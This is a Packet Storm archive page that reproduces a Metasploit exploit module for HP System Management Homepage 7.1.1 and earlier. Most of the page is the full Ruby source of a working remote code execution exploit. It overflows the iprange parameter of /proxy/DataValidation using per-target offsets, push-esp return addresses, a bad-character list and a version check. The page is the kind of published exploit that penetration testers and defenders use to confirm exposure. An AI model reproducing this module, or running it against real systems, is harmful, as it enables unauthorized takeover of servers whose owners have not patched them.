what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP System Management Anonymous Access Code Execution

HP System Management Anonymous Access Code Execution
Posted Apr 2, 2013
Authored by agix | Site metasploit.com

This Metasploit module exploits an anonymous remote code execution on HP System Management 7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on a request against /proxy/DataValidation. In order to work HP System Management must be configured with Anonymous access enabled.

tags | exploit, remote, code execution
advisories | OSVDB-91812
SHA-256 | 4de4f77423b06dccacf83fd32f5fcf5e7397ce23516f9f320983cc32b12d3691

HP System Management Anonymous Access Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'HP System Management Anonymous Access Code Execution',
'Description' => %q{
This module exploits an anonymous remote code execution on HP System Management
7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
a request against /proxy/DataValidation. In order to work HP System Management must
be configured with Anonymous access enabled.
},
'Author' => [ 'agix' ], # @agixid
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1000,
'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
'EncoderOptions' =>
{
'BufferRegister' => 'ESP' # See the comments below
}
},
'Platform' => ['linux'],
'Arch' => ARCH_X86,
'References' =>
[
['OSVDB', '91812']
],
'Targets' =>
[
[ 'HP System Management 7.1.1 - Linux (CentOS)',
{
'Ret' => 0x8054e14, # push esp / ret
'Offset' => 267
}
],
[ 'HP System Management 6.3.0 - Linux (CentOS)',
{
'Ret' => 0x805a547, # push esp / ret
'Offset' => 267
}
]
],
'DisclosureDate' => 'Sep 01 2012',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(2381),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)

end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cpqlogin.htm"
})

if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
version = $1
return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
end

return Exploit::CheckCode::Safe
end

def exploit

padding = rand_text_alpha(target['Offset'])
ret = [target['Ret']].pack('V')
iprange = "a-bz"+padding+ret+payload.encoded

print_status("#{rhost}:#{rport} - Sending exploit...")

res = send_request_cgi({
'method' => 'GET',
'uri' => "/proxy/DataValidation",
'encode_params' => false,
'vars_get' => {
'iprange' => iprange
}
})

end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close